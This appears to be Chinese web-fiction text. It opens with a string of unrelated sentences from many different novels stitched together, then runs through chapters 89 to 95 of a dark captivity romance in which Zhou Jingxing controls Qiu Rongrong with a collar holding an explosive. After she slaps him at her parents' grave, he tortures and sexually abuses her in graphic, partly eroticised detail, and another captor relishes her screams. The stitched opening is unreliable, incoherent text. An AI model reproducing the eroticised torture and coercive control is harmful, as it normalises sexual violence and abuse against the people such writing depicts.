当入侵者战机开始进行轰炸后,毒蝎会军队的阵地这次彻底崩溃,大量的毒蝎会士兵在入侵者战机的这次攻击中丢掉了性命,爆炸所产生的巨大伤害再一次将所有的毒蝎会士兵内心击垮,毒蝎会士兵们再次发生了溃逃。
自贵省分别之后,沐凌未曾想过有朝一日还有能与仇羽诺再见,她,依旧那么美丽,虽然只是七分紧身牛仔和蓝色长袖衬衫,但却将那完美的高挑身材勾勒了出来。
第一卷 第89章 软肋
“定位装置,里面含有微型炸弹,如果强行拆除会引爆。”这种装置很昂贵,贵到把秋榕榕全身上下的零件拆除卖了,也收不回本钱。
原本不是为她这种好拿捏的孤女准备的。
但最终,用在她的身上。
秋榕榕平静地接受。
杨沁灵不太会骑马,但为了效果,也没要求用替身或假马,她骑上马之后,戏份也正式开始。
唐昊确实是心虚的,他确实没有一开始就将唐三可能已经换了芯子的事情告诉了蓝银皇。
是的,来的人是姜炎,他一挥手扶起众人后,这才看向姜叶寒,眼中全是满意的神色。
二长老闻言突然错愕了一下,连消息都没打探清楚,就想着要收服四大家族了?
“我想让太子雪清河上位,雪崩这个家伙之前得罪了我,我可不想看到他继承天斗皇位耀武扬威。
网友们疯狂评论,也因为这件事,很多黑粉和喷子都黑转粉了,他们被黎雾这种勇敢救人的精神所彻底折服。
宁荣荣满脸娇俏,只不过对比往日的机灵,她脸上多了一分成熟和稳重。
沈绣婉特意打扮了一番,不仅换上了新做的松绿色刺绣旗袍,还戴了一整套的珍珠首饰,她肌肤白皙莹润,很适宜佩戴珍珠。
那时候他每年都在外地上学,爷爷在老家,那地方四季不分明,夏天过了冬天紧跟其后。
而是她也有莫名的攀比心,唐三的魂骨分别是精神凝聚之智慧头骨,天青牛蟒跟泰坦巨猿的两块手臂骨。
霍厉峰看着霍瑜白离去,皱眉,转头交代夏侯婕几句,也跟了上去。
龙太倒吸了一口气,才发现这些士兵仍然坚挺地坐着,根本没有理会后面车辆发出的子弹。
叶柔重重的将手中的药碗砸在桌子上,袖子一甩,便气冲冲的跑了。
她又能够如何,前些年,皇贵妃已经教会她什么叫帝王薄情,将她引领到另外一个不一样的境界。
下面的人员虽然不知道为什么要奖励关素娥的原因不知道,但是都一样开心的鼓掌。
周逍担心白七会追上来,便毫不犹豫的启动车,两条狗跟着车后撵了很远之后便放弃了,最后耸着脑袋开始返回。
对于陆清寒这种没有感情经历,但是内心强大,思想清醒的男人,你和他曲线救国,没准他连你是谁都不知道。
霍瑜白脸颊有着淡淡的红晕,目光盯着地面,朋友之间说“乖”合适吗?
唐玥声音如魅鬼似摄魂之铃,响在瑞王妃耳边,一声声一字字如长针银刀挽箭寒鞭,字字伤心,字字戳破她不愿堪透的事实。
但是铁中啸本身就是经过大杀场的人,哪里会放任这些强大的巫师逃走,随手一抓,又有两位巫师死在了他的手中。
除了轰天炮外,其他人都拿了一瓶水下呼吸药剂和一个缓落术卷轴。
江晨这才想起,张宗道这在长安立了大功,却也马上要回去凉州自己的驻地,之前说是就这几天,看来这次来江府要跟江晨道别了。
众人看着趴在地上大哭的韩若芸,都很默契的沉默着,他们很多人都能理解韩若芸此刻的心情,此时韩若芸最需要的就是发泄、毫不顾忌的发泄,将这两年的压抑全部释放出来。
想了想,他还是不放心他的兄弟,虽说,那些难缠的人都在草原那面,可他也了解弃的性子,要是问题不大,怎么可能来找白三月,他自个儿也能解决。
第一卷 第90章 佛经
秋榕榕睡得好好的,第二天被江无渡叫到那间摆满佛像的房间,跪着抄写超多的佛经。
“我的手受伤了。”秋榕榕举起缠满绷带的手指。
“你受伤的是左手。”
“能不能开亮一点的灯?光线太暗我看不清。”
他只给点了一盏小台灯。
随后把门反锁。
虽然有风,却一点清凉也没送来,处处都是闷湿的潮气。用陈于是的话说,前几天的大雨并不是老天看镜湖像个蒸笼想降温,而是把他们当螃蟹,添了点儿水,继续蒸。
“哎哎哎,你干嘛!”李媛媛飞奔过去,结果手机还是摔到地上,散落成一团,坏掉了。
李静的手不自觉的伸了过来,搂住我的头用力的索取着,我自然不会拒绝,因此更加用力的回应着她的疯狂。
“是。”凤于飞点点头,这个老太婆究竟在想什么,就算是想用自己牵制上官弘烈,也不能自己安一个皇后的身份吧?
然而战斗中的夜歌却没有心情去察看突然响起的声音,他向前飞行,一边伸出手,试图接住被米修斯抛下的血枭。
“会长,你说他们有可能会向我们下手?”安瑞杰有些难以置信地说道。
后带领众多忠心耿耿的属下入侵其他世界,掠夺其本源,升级主界,开启统治“多界的帝王之路”。
“如此也好,事不宜迟,那么我们现在上路吧?”玄尘呵呵一笑,这才准备离开,而陆逊却是急忙阻止,毕竟他可是还要准备马匹。
于吉想到自己在家中布下的众多阵法,以为只是错觉,这才移开了目光,与左慈一起凭空飞行,向袁绍府邸的方向飞速赶去。
米修斯震惊的看着这一段字,他想不到马日阿卡老师给予自己的这玩意竟然有这么大的隐患,在详细的看了下面的字之后,米修斯浑身冒着冷汗。
“这倒是。”姜夜认可地点头,随后要了大师的地址,准备之后过去看看,顺便和大师讨论讨论佛法。
当然他们主要还是为了帮陈仙造势,将此次传道之事定为道门大事,避免暗处的人以后用不爱国舆论攻击出国传道的陈仙。
说这话时,秦天的目光带着几分锐利,眼神仿佛能够洞穿万物一般。
网友的预测非常准确,姜夜一天挨三顿打,顿顿不一样,但还是会犯贱。
顾凝霜的院子,比他那处住所更加宽敞,院中种着三颗海棠树,此时正值春末夏初,院子里散发着淡淡的幽香。
李琩故意叫上监军边令诚,着重问了各刺史、军使的政务和军务,并没有向这些人透露他和哥舒翰不合的事,但是由于李琩问得比较细,各州各军多少都有些问题,因此大部分人从李琩府里出去,都显得心事重重。
陈仙足足吸收了三天三夜才缓了过来,要不是道宫中有纸人存在处理事务,估计很多需要他拿主意的事都得耽搁了。
那个被抱脸的人忽然惨叫得更大声了,因为那些触须有些已经钻进了他皮肉里。
琴声先是轻缓,如清风拂面,接着旋律慢慢变得激昂、慷慨,犹如金戈铁马就在耳侧。
而飞蝉劫兽潜力有限,生存到秋分自会衰亡,这也是夏至蝉鸣劫易渡过的主要原因之一。
一眨眼的瞬间,十来个大汉全部倒地。而韩羽则是冷冷的看着胖子。
第91章 三拜
秋榕榕希望他放了她。
但这种希望不存在。
他不可能高抬贵手,放她一条生路。
有的时候,秋榕榕在周景行身上看不到那么强烈的恨意。
有一种,他还愿意和她谈谈的错觉。
她就是靠着这种错觉撑到现在。
秋榕榕不是一个太坚强的人。
她很脆弱。
在这种状态下,任何人都会感觉到无助,她也不例外,只是她无论遇见什么事都不会为难自己,这让她稍微好受点。
她把道德尊严放在性命之后,不让自己去凌迟自己,才能活到现在。
脖子上戴着索命的项圈。
自从这个项圈带上之后,秋榕榕越发觉得自己必死无疑。
秋榕榕说出了自己的希望。
她说,她希望自己的命只在周景行的手上。
这话说得好听。
其实只是因为少一个人控制她,她好逃脱。
想到逃脱,秋榕榕又觉得无望。
她所能想到的每一条路,都需要拿她的命来换。
换到的概率,也是小之又小。
带秋榕榕坐游轮之前,周景行专门带着秋榕榕去了一趟学校。
让她露个脸。
然后再对外散播出,他们已经订婚的消息。
秋榕榕手上坠着那颗巨大的钻戒。
太重了,她不喜欢。
幸好周景行长得不丑,看起来也年轻,不然他们出门,别人得传秋榕榕傍大款。
周景行有的时候很佩服秋榕榕。
她真的一点都不去做危及自己性命的事情。
他让她配合,她就配合。
太好威胁了。
那微型**用在她这种人身上实在是浪费。
“你想不想要个婚礼?”他问。
秋榕榕有些诧异地看着他,“和谁结婚?”
“我。”
他还真是大言不惭地说这句话。
秋榕榕想笑话他,但看着他黑暗的眼睛,她觉得她还是安静点比较好。
“好啊。”她裹了裹脖子上的红围巾,哈出一口白气。
只要不是伤害她的事情,她都说好。
秋榕榕向往婚姻,向往家庭,也向往孩子,她家里人死光了,所以对新的家庭有执念。
她很简单。
不仅是对孩子,对猫猫狗狗,对所有的生命,她都有无限的热爱。
她喜欢健康鲜活的东西。
喜欢阳光。
也喜欢群居的生活。
周景行把她拉入了黑暗里,让她逐渐发霉变质。
他的好,给她的感觉像是最后的晚餐。
“你把我带到船上之后,我是不是就回不来了?”
周景行搂着她肩膀的手紧了紧,“你就是这么想我的。”
“人总是倾向于去满足**生前最后的愿望。”秋榕榕胆小谨慎,却不愚蠢,她无比清楚自己在做什么,也明白自己面对的是什么样的人。
她知道他们三个,谁最坏,谁手段最怀柔,谁最难被蛊惑。
她抓住了最简单的选项。
但这个最简单的选项,依旧无法让她摆脱死亡的降临。
周景行没说话。
秋榕榕就只能继续说:“你给我的兰花已经全部枯萎,我把佛经抄得整齐,你没有奖励我新的兰花。我们的约定是一朵兰花活七天,你给我的期限到了。”
“你把话挑得太明白了。”周景行微不可查地叹了一口气。
必须挑明白。
不挑明白,就要糊里糊涂地死去了。
看着秋榕榕的眼睛,周景行没有直接回答她:“你脖子上的那个项圈价值两个亿,四肢上的分别一个亿。”
秋榕榕抿着唇笑了起来。
那她知道答案了。
怪不得说这个东西不应该被用在她的身上。
太贵了。
过于贵重的东西,不会用在将死之人身上。
秋榕榕把头靠在他的肩膀上,喃喃说道:“我们从游轮回来之后办婚礼。”
周景行没回答。
东西昂贵,不让她死是真的。
没准备带她回来,也是真的。
秋榕榕发现他没说话,她的心沉了又沉。
她知道,这趟游轮之旅,没那么好回。
昂贵的项圈戴在她的脖子上,威胁她的性命,也保护了她的性命。
但按钮,周景行可以送给任何人。
他们三个,都是商人。
而游轮,是做生意的地方。
“我想
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去给我的家人上坟。”秋榕榕淡淡地说。
在他们谈恋爱的第二年,秋榕榕曾带着周景行去她家人的坟前。
那个时候,她还不知道,他就是这一切的始作俑者。
她跪在坟前上香的时候,周景行就在后面看着。
他后来也上了一炷香,拜了三拜。
秋榕榕无法去想他那时的心情。
他当时目光沉沉,秋榕榕以为他是怜惜她的遭遇,还想着捏着他的手说,过去的事情虽然很难过,但是人终究要往前看。
她的家人死在了过去。
但他是她新的家人。
而现在,周景行应该不想再去看她家人的坟。
“我自己去,你要是不放心的话,可以派人跟着我。”
“我和你一起。”
秋榕榕嘲讽地笑了一声,她实在是太不会说谎,刚才那一声笑几乎是出于本能溢出来。
她有些慌张,怕被他发现。
但看他神色如常,因为他没有听见,才有些尴尬地掩饰了一句,“你可能不会太想看见他们。”
事实上,秋榕榕不想让凶手站在自己亲人的坟前。
如果有一天,他被执行枪决,秋榕榕会到家人的坟前,把这个消息烧给他们。
周景行其实想过,让秋榕榕难过很简单,去把她家人的坟挖了就行。
活着不放过,**也不放过,才是他们的行为准则。
他在国外系统性地学习过,如何去伤害一个人。
若是施加恶意,可以毫无底线。
但周景行没这么做。
手段下作。
但害人的手段哪个不下作?
他不知自己为何没动手。
敬畏鬼神?
如果他们真的能当鬼,他也能把他们在押进十八层地狱。
还是因为,那年夏天,她牵着他的手,对他说。
“过去的事情都已经过去了,我不会永远都活在悲伤里,坏人已经死掉啦,以后的生活就属于我们两个人。”
“我会对你好。”她无比认真,“你选择和我在一起说明你慧眼识珠,我一定会珍惜你,珍惜我们一起组建的家庭。”
“我会经营好我们的未来。”
“一定!”
第92章 上坟
没有哪个年轻的男人能抵挡住一个女人,那么认真地去规划他们的未来。
她的爱意直白热烈。
周景行对她说的话都是假的。
但秋榕榕每一句都是真话。
周景行不是一个多情的人,纵欲也谈不上,开始对于秋榕榕性事上的迷恋要不了三个月,就会褪去。
但他还是选择陪着她,去仇人的坟前。
见到那些人的坟头,他开心。
仇人的女儿实实在在掏出过一颗心,后来,又为了一条命曲意逢迎。
他就是最后的赢家。
得到了他所想要的一切。
当年他上了那三炷香。
心里想的是,他们这些人在地底下如果知道后,定会死不瞑目。
秋榕榕买了好多元宝蜡烛。
周景行凑过来,手上还拿着秋榕榕专门挑选的纸扎大别墅,“烧这么多做什么?这个世界上根本就没有鬼。”
秋榕榕正色道:“对未知的东西要有敬畏之心,你没有死过,又怎么知道这个世界上没有死后的世界呢?”
周景行听她这么说,低头细想了一下,竟然觉得真的是这个道理。
他没有去祭拜过他的父母。
他父母死后,没有立坟。
周景行要做的事情,不允许他拥有过去。
他们只需要报完仇,把过去舍弃掉,然后带着巨额财富,在国外重新开始就够了。
没有拖累。
没有过去。
秋榕榕把坟前的杂草修整干净。
把该烧的黄纸都烧了。
再对着坟头,磕了三个响头。
看管坟场的女人比她大不了几岁,她一家三口都是干这个工作的。
秋榕榕每年都来,那个女人瞅着她也眼熟,两人偶尔还会寒暄几句。
这次,女人看见秋榕榕脖子上的项圈,露出鄙夷的神色,眼神变了又变,把她拉到一边委婉地提醒她。
“好女孩是不能戴这种东西的,戴出去容易让人想入非非。”
秋榕榕知道这个女人是好意。
但周景行旁边看着,她还能说些什么呢?
就只能很勉强地笑笑说:“觉得好看戴着玩。”
“好看什么,像狗链子。”女人嘀咕了一句,远离秋榕榕,估计是觉得她不正经,“女孩子要自尊自爱……不要戴这些奇奇怪怪的东西……”
秋榕榕抬头看着灰蒙蒙的天,“你说得对。”
她也想自尊自爱。
但她没有那种不畏生死,只求尊严的豪情。
女人刚刚只是嘀咕,被听见了脸上也有些挂不住,“呃……我也不是这个意思……算了,你慢慢上坟,我带小宝去吃饭了。”
她牵着小孩快步离开,路上还教育自己的孩子不要成为秋榕榕这种女孩。
周景行走了过来。
他撩开她的长发,露出里面的项圈,“这个款式是银白色,上面缀着珍珠和宝石,并不像狗链子,是她们没品味。”
再怎么好看,也掩盖不了他用这个项圈控制她的本质。
秋榕榕拂开他的手,“是啊,如果里面没有炸弹就更好了。”
周景行被她堵了一下。
他看出秋榕榕今天心情不好。
但他的心情又能好到哪里去?
本来秋榕榕也应该埋在土里的,但现在她还站在他的面前,算是走运了。
她肯定意识到自己在他心里有点分量,所以才敢这么和他说话。
风吹着火盆,发出噼里啪啦的响声。
秋榕榕内心戚然,“我们走吧。”
她不想再留在这里。
多年来,她一直想从过去的阴影里走出来。
但周景行、江无渡和沈砚川不死,这场噩梦就永远不会终结。
周景行站着不动。
秋榕榕想去拉他,却突然看见他带着恨意的眼神。
“你觉得他们不该死,是不是?”
“我……”秋榕榕应该顺着他的话往下说,但是当着爸爸妈妈的坟前,那些话她怎么也说不出口。
秋榕榕已经求饶了。
她说:“哥哥,这些事情我们回家再说。”
这次来上坟,秋榕榕本来就不想周景行跟着,是他自己偏要来,来了又忽然生气。
她就怕他触景生情。
果然,他被触霉头,不高兴了。
他觉得,她全家都欠着他。
而现在秋榕榕的全家,就只剩下她一个人。
要倒霉,也只能是她倒霉。
“你有今天,都是他们害得你。”周景行也是凡人,凡人总会在干坏事的时候找理由。
秋榕榕抿唇。
才不是!
她有今天是周景行害的她,他是始作俑者,沈砚川和江无渡同样可恶的刽子手,是他们的迁怒,他们的狭隘,伤害了她。
冤有头,债有主。
他们算不清这笔账。
秋榕榕可以算清楚。
他抓着她的手腕,把她又重新扯到那几座坟前,指着墓碑对她说:“你的父母是一个很贪婪的骗子,他们又贪又蠢又坏,死有余辜。”
秋榕榕听得心跳加速,她忍了又忍,咬着牙,不让自己和他抬杠,以免在父母的坟前被羞辱。
但她实在没办法在父母坟前,顺着他的话。
“人已经死了……”
人已经死了,就此放过吧。
秋榕榕几乎是央求着,她不想再听他说这些事情,“我们不说了好不好?我们先回家。你不是要带我去坐船吗?我们得提前回去收拾行李,我以前没……”
周景行极度克制,说出来的话却又极度残忍:“当年你母亲怀着孕,还跑到我家来勾引我父亲,你爹给自己戴绿帽子,亲自把她送来,然后在门口望风……”
“啪——”
周景行半边脸偏了过去,那张白皙的脸留下清晰的五指印记。
他似乎也没意料到,秋榕榕这么软的性子会突然动手打人,所以躲都没有躲,结结实实地挨了这一巴掌。
打完这一巴掌之后,秋榕榕才不自信地看着自己颤抖的手。
她的手心发麻。
用了十成十的力量。
秋榕榕没想动手,动手不明智,但她实在没忍住。
周景行口中的父母,不是她记忆中的父母!
她的爸爸妈妈,温柔良善,是那一片出了名的老好人,和人说话从来不会红脸,更和坏字搭不上边。
他们有羞耻心,做不出这种事情。
秋榕榕深呼吸。
她勇气不多,但在父母坟前,这些话她应该说明白。
“如果我的爸爸妈妈真的做错事,你大可以去告他们,让法律去惩罚他们,拿着证据,他们该坐牢坐牢,该枪毙枪毙,我保证没有怨言。
你没必要这么编排他们。
你们自己乱用私刑,还牵扯到我的姑姑,我的小表弟,他们何罪之有?值得你们那么对待!”
周景行忽然笑起来,如同春风拂面,远看还以为他在和她说笑。
“你们是一家人,一家人犯了错就得一起偿还。”
秋榕榕握着拳,现在在外面,虽然坟地里人少,但他也不至于在这里就把她弄死。
“你现在承认你有错,我就带你回去算这笔账。”
秋榕榕不在父母的坟前认,不然她的父母死不瞑目!
“周景行,现在又不是古代,搞什么连坐?”她直呼其名,用迄今为止最大的勇气对上他的眼睛。
是!他有恨!
那她呢?
她心里的怨气呢?她也想要一个公道,谁来给她一个公道!
第93章 求饶
“我的手段还是太仁慈,对你太好了。”他抬手抚摸着她的半边脸,没有暴怒,却足够令人胆寒。
指尖划过她的脸,像是要把她脆弱的皮囊剥下来。
他是从火场归来的人,眼底的温情泛着雾,包裹着死气,支撑他站在这里的是焦焰的余温,他如静水的外表下,是涌动的岩浆。
秋榕榕抬起头,摊开了她缠满绷带的手指,“哥哥,你对我真的好过吗?我的伤因你而起,你帮我包扎,又再次伤我,这叫好吗?我应该对你感恩戴德吗?”
他的好不是给她活路,而是用来缠缚。
就像制作活体木乃伊,绷带缠绕住她的口鼻,紧紧裹着,直到骨头变形、血肉扭曲,才叫合他的心意。
她不是游戏里的人物,也没有血条,所有受的伤,都需要很长的时间去疗养。
就像这个手指,没有大半年养不回来。
“你总是喜欢把话说得太明白,这样不好。”他垂着眼睫,感受着她强撑的身体,“我本来不想在外面对你怎么样,你不该逼我。”
她说话的声音没有起伏,秋榕榕几乎是本能地感觉到危险。
非常危险。
有一种可能要缺胳膊断腿的危险。
不能让他们本就岌岌可危的关系迅速滑落。
秋榕榕现在需要服软。
但又不能太明显。
不能将事情激化。
又不能立刻跪下认错。
前者会让他真的出手伤人,后者会让他意识到高压才是对付她最好的手段。
两者都不可取。
“我说回去,你不回。”秋榕榕闻到了空气里烧纸的焦糊味,“该说的,不该说的我都已经说完了,收也收不回来,我现在道歉你也不爱听,你在我身上用了六个亿,看在这昂贵装置的份上,你骂我两句算了。”
说着埋怨的话,实际上是在讨巧。
现在最佳的求饶方法,是少女的幽怨,如泣如诉,她摆好台阶,只求他顺着台阶而下。
周景行提出了一个秋榕榕做不到的要求,“你现在只要能在我面前掉一滴眼泪,我就放过你这一次。”
“不哭,会冒大鼻涕泡。”秋榕榕是真的哭不出来。
幽默可以掩饰悲伤,是化解剑拔弩张氛围的奇药。
她痛苦的眼泪已经流干。
以后除了幸福,不会流泪。
他只要能接下她的玩笑,今天这一巴掌也可以过去。
周景行没有接。
“先回去。”他的态度总算比刚才稍微好了一点,这是给她在外面留点面子。
“好。”秋榕榕步伐沉重地跟着他回到别墅。
他们还得去游轮,那个项圈又那么昂贵……
成本价在这里。
周景行总不会现在弄死她。
秋榕榕只能这样不停地安慰自己。
没事的,没事的……项圈价值六个亿,不会就用这么几天。
回到别墅,江无渡在客厅给伤口消毒。
他抬头看了他们一眼,就知道秋榕榕要倒霉了。
回到房间后,周景行拿出了那个密码箱。
“我又学了一个新姿势,我们可以……”秋榕榕尽量在床上勾起他的欲望,免去那些倾向于惩罚的危险的道具,以此保护自己不受伤害。
“闭嘴。”
“……”秋榕榕头皮发麻,她知道今天是逃不掉了。
密码箱被打开。
他拿出了大容量注射器、绳索和保鲜膜。
秋榕榕看见他的目光在那种直角金属钩和穿刺针上面流连,吓得她大气都不敢喘一个。
他还是朝那些东西伸出了手。
江无渡在客厅听见二楼传来的惨叫和求饶声。
其实楼上的隔音效果不错。
这样一楼都能听见,说明秋榕榕喊破了嗓子。
江无渡觉得秋榕榕没徐照有骨气。
徐照也只是到最后,刀落下去,手腕被齐齐斩断时,他才开始求饶。
不像她,一开始就认怂。
房间里的灯光隔着保鲜膜,一直在她的眼前晃来晃去。
她听见自己的喘息声断断续续。
秋榕榕最怕周景行衣服穿戴整齐的时候。
他衣冠楚楚,她狼狈不堪。
秋榕榕一开始还想哄他放过她,后来吓坏了,就开始胡言乱语。
她为今天的那一巴掌忏悔,白天说不出的话,流点血,他说什么她都能照着说。
身体像被风灌满,又像被万钉穿骨。
只要空气重新回到肺里,她就会尖叫着告诉他,她快死掉了。
肚子好涨。
不知过了多久,他才把那些零件从她身体里拆除。
她像伸懒腰的猫,雌伏在床上。
他在她的身后。
有过前面的遭遇,后面的事情秋榕榕已经没办法给他再多的回应。
朦朦胧胧间,秋榕榕忽然看见原本应该在他身后的男人,变成了一条美人蛇,从她的腋窝下穿过,和她面对面。
他双手捧着她的脸,温柔地亲了亲她的唇。
对她说:
「宝贝,亲一亲就不痛了。」
「乖一点,我心疼得比你还厉害。」
结束之后,周景行把捆绑的绳子解开,再把她整个人翻过来。
她像是刚从水里捞出来一般。
头发粘着额头。
周景行伸出手,试了一下她的鼻息。
还算正常。
叫她名字她也没有回应,估计是实在撑不住了。
周景行从二楼走下来的时候,江无渡还在一楼客厅未离开。
他抬头,咬着烟,声音散漫带着一丝嘲意:“结束了?”
“嗯。”周景行并没有得到太多的满足。
没有秋榕榕的配合,他感受也一般。
单纯的惩罚而已。
悦耳的惨叫声让江无渡兴奋。
他抖了抖烟灰,“没死吧?”
周景行语气无波澜,“这几天可能没法正常走路。”
“游轮那边时间已经定好。”
“就按照原定的时间去。”周景行说完,又看了一眼自己手上残留的血迹,“我去买点止疼药,她如果下楼来你告诉我。”
走到门口,周景行不放心,“算了,你去二楼帮我看着点,别让她自杀。”
江无渡懒洋洋地从沙发上站起来,把烟蒂摁进烟灰缸里,“我没东西哄小兔兔,她估计也不想看见我。”
第94章 童话
“你来做什么?我……我现在是真的起不了床。”秋榕榕是趴在床上的,这个姿势让她好受些,“你能不能去给我弄点止疼药或者冷敷贴?”
她现在不能打扫卫生,也不能抄佛经。
“先让我看看你。”江无渡掀开她的被子。
秋榕榕拉不过他,索性不管他。
“我还以为兔兔的小手小脚都断掉了,才发出凄惨的兔子叫。”江无渡捏起她没有力气的手臂,又松开手让手臂落在床面上,“现在看起来,也没什么大碍。”
“我受的是内伤。”秋榕榕现在动一下胸口的铃铛就会晃动。
周景行结束的时候把其他的东西都摘下来,唯独这个留下,清脆的铃响提醒着她的耻辱。
秋榕榕腹诽,江无渡这种只知道养兔子的人能懂什么?这种事情只有徐照那种施虐癖才知道,她受了多严重的惩罚。
这一次的教训已经足够。
秋榕榕现在不敢招惹他们任何一个。
“那我给兔兔说个童话故事,兔兔就不疼了啊。”江无渡坐在床边没有离开的意思。
秋榕榕把脸埋在枕头里“嗯”了一声。
“在很久很久以前,有一个兔子社区,社区里住满了富有的兔子。
其中有一家兔子夫妇,为了庆祝母兔子生二胎,公兔子在国外拍下了翡翠玉佛作为给母兔子的贺礼。
翡翠玉佛已有五百年的历史,被拍回兔子社区后,广受关注。
但也正是因为这一尊翡翠玉佛,吸引过来三家外乡黑兔,他们租住了一栋别墅,伪装成本地兔子,探听翡翠玉佛的消息。
其中有一家黑兔也怀孕了,肚子像气球吹起来那么大,即将临盆。
他们借着怀孕,和富贵兔子攀关系,两家时常走动。
可是黑兔子不安分,怀着这么大的肚子还以转运珠的名义去勾引富贵兔子,被富贵兔子严厉拒绝之后,召集同伴,抢劫了富贵兔子,拿走翡翠玉佛。
为了顺利逃走,他们放了一把火,却没想到富贵兔子家收藏了许多画作,导致火势受不到控制,连带着整个社区与后山全部着火。
所有的兔子都变成烤兔子啦,香喷喷,热乎乎的烤兔子。
哦对了,黑兔子为了让富贵兔子追不出来,把唯一救援的道路毁掉了,进来的路是一座桥,他们把桥给炸了。
你说黑兔子该不该死?”
虽然说江无渡说得有点抽象,秋榕榕也能听得懂,他说的是当年的事情。
她的父母罪大恶极,联合其他同伴窃取翡翠玉佛,偷窃不成后改为抢劫放火。
后面火势扩大,救援道路被毁之后,消防车进不来,导致整个社区都被烧掉。
江无渡说的版本,和周景行偶尔透露出来的细节差不多。
“黑兔子已经死了。”
这怒火不该延伸到秋榕榕身上。
如果因果能无限代偿,那正义也会变得永无止境的残忍。
江无渡用手指戳了戳秋榕榕软绵绵的侧腰,“但黑兔子肚子里的小兔子还没死。”
他的意思是,秋榕榕享受了罪恶的果实,就要承担相应的代价。
秋榕榕把旁边的被子拽过来,打了个滚把自己裹成毛毛虫,“小兔子那个时候都还没有生出来,她什么都不知道。”
秋榕榕在这种时候总是想证明自己的无辜。
她没有迁怒过谭松。
周景行他们为什么就不能放过她呢?
说什么父债子偿,可孩子无法选择自己投胎到谁的肚子里。
孩子从来都不是父母的附属品。
他们从生下来就是一个独特的个体。
不该背负父母的原罪。
“小兔子享受到了大兔子提供的优渥生活,那种生活吸了别人的血,小兔子当然要赎罪。”江无渡为恶,也有一套自己的理论。
他认为,哪怕秋榕榕没作恶,只要秋榕榕从罪中获利,就不能算完全无辜。
他们高高在上,傲慢又独裁。
站在审判者的角度,认为自己拿的是公道。
秋榕榕叹息道:“大兔子把钱都拿去做慈善和求神拜佛了,小兔子过的就是普通生活。”
秋榕榕从小生活在爱的环境里,父母恩爱,家庭和谐,但仅为普通小康家庭,和富裕搭不上边。
若她真的因为父母的作恶,过上了奢靡的生活,那她确实应该把那些钱吐出来。
但是没有啊。
秋榕榕没有享受到。
她出去吃饭会打包回来,也会穿姑姑的旧衣服,本子没有用完会撕下来做草稿纸,家里有纸壳子也会攒一攒卖掉。
她的父母教育她勤俭节约。
每次学校组织捐款,秋榕榕捐的都是班里最多的。
就是因为她的父母说,要矜孤恤寡,敬老怀幼。
这让秋榕榕怎么把记忆里善良的爸爸妈妈,和他们口中恶毒贪婪又不知羞耻的爸爸妈妈联系在一起!
周景行买好止疼药回来。
江无渡站起来,摸了摸秋榕榕的头发,“乖啦,你真正的主人回来了,如果下次你还想听兔子故事,可以偷偷来地下室找我。
那个很凶的公兔子已经被卖掉了,现在别墅里就你一个,你是我们共同的宝贝。”
周景行往客厅里倒了一杯温水。
正朝着二楼走上来。
江无渡站在原地,漆黑的眼珠子转了转,然后快速的亲了一下秋榕榕的头发,在她震惊的目光中,贴着她的耳朵说道:“秋榕榕,你们家原本都是属于我的,若不是你当年逃跑,也不会被安排在周景行的手上。
他对你不好,你可以选我。只要你跟他说你不愿意和他上游轮,我就把你要过来,怎么样?”
说完,他直起身子,冲着秋榕榕眨了眨眼睛,眼神清明。
卧室的房门打开。
周景行推门而入。
第95章 玉佛
他们只是打了声招呼,江无渡便离开房间。
就好像刚才的话,只是秋榕榕错觉。
周景行坐到床边,想搂着秋榕榕喂她吃药。
“起来喝水。”他掰出两颗药片。
“伤到了,现在坐不了。”秋榕榕现在不是太敢拒绝他。
“很疼?”
“……嗯。”
“你适应的其实不错。”
秋榕榕不想回忆。
保鲜膜覆盖在脸上的窒息感、肚子里很撑想要上厕所的感觉、绳索勒紧的束缚感、还有针穿过的痛感……
锁链连着天花板,发出哗啦哗啦的响声。
铁钩的另一头是她。
流血不多,但很不舒服。
不像人,像待宰的羔羊。
他的眼神寂静,手中拿着刑具审判她的罪,他剖开她的身体,切割她的灵魂,她的哀叹是他耳中的赞歌。
他打碎她的尊严,然后用手指触摸着她的眼睫,他说:“太可惜了,没有眼泪。”
周景行看见秋榕榕眼底的害怕,她总是藏不好自己的情绪。
“疼就躺着吧。”周景行起身,换成了弯头吸管,放进水杯里,让她躺着把药服下。
他们之间无话可说。
她就这么躺着,也不说话。
“不高兴?”
周景行明知故问。
“我陪你躺一会。”
秋榕榕没敢拒绝,只是往床里面挪了挪。
周景行躺了上来,玩她胸前的铃铛,手指轻轻拨弄着,银白色的小铃铛发出清脆悦耳的响声。
秋榕榕难受地问道:“可以把这个铃铛拿掉吗?”
他在她的边上躺着,单手撑着脑袋,“好看,很衬你,平时就戴着,别拿。”
秋榕榕想说,她不喜欢,戴着难受。
可她的意见无足轻重。
秋榕榕脑海里都是江无渡的那个提议。
这个提议,如果是沈砚川提出来的,秋榕榕或许会考虑。
但江无渡不行。
他那些福尔马林罐子里泡着的肢体是她的噩梦,秋榕榕不会选择他。
“你在想什么?”他拽了拽铃铛。
秋榕榕因为疼痛回神,“我在想江无渡给我说的兔子故事。”
周景行笑了声,“他就是这么安慰你的?”
他伤害了她,却又不想他们的关系剑拔弩张。
他仍然希望,自己是她唯一的依赖。
秋榕榕问:“是你让他上来监视我吗?”
“是我。”周景行这次下手重,他担心秋榕榕想不开,所以让江无渡帮忙看着点,“不是监视,是找人陪你说说话。”
秋榕榕心思很乱,如果是周景行让江无渡上来,那江无渡的建议,是不是也是周景行让他问的。
是不是他们两个合谋演戏,试探她是否忠诚?
秋榕榕越是怀疑,越是不敢有其他的动作。
她在自己心里庆幸没答应。
如果答应,她又得旧伤加新伤。
秋榕榕决定不再纠结这件事情。
她转移话题,问道:“我们这次去的游轮,和徐照是同一条船吗?”
徐照去的是公海医疗船。
“不是,你别念着他了,他和你不一样。”他的手放在她的小腹上,他喜欢捏她肚子上的软肉,手感像棉花糖,“你在船上乖乖跟在我身边,我会带你回来。”
“嗯,我不会乱跑。”能得一个明确的答案,算是好消息。
周景行有些介意徐照的存在。
自从上次,徐照和秋榕榕做过之后,作为工具人的徐照,就可以去死了。
止疼药渐渐发挥作用,秋榕榕侧过身子面向周景行的方向,“你们为什么要对付徐家?当年的火灾和徐家也有关系吗?”
她瞥见周景行的表情,不想惹他不快,便赶紧找补,“我就是随口问问,你要是不想说也没关系。”
原以为,周景行不会说。
结果,他还是把她抱在怀里,用手按着她的后脑勺,慢悠悠的说起了过去的事情。
“我家以前有一个翡翠玉佛,是我爸从国外竞拍回来,送给我母亲的贺礼。
这尊翡翠玉佛最后落到了徐家的手里,我想把玉佛拿回来。”
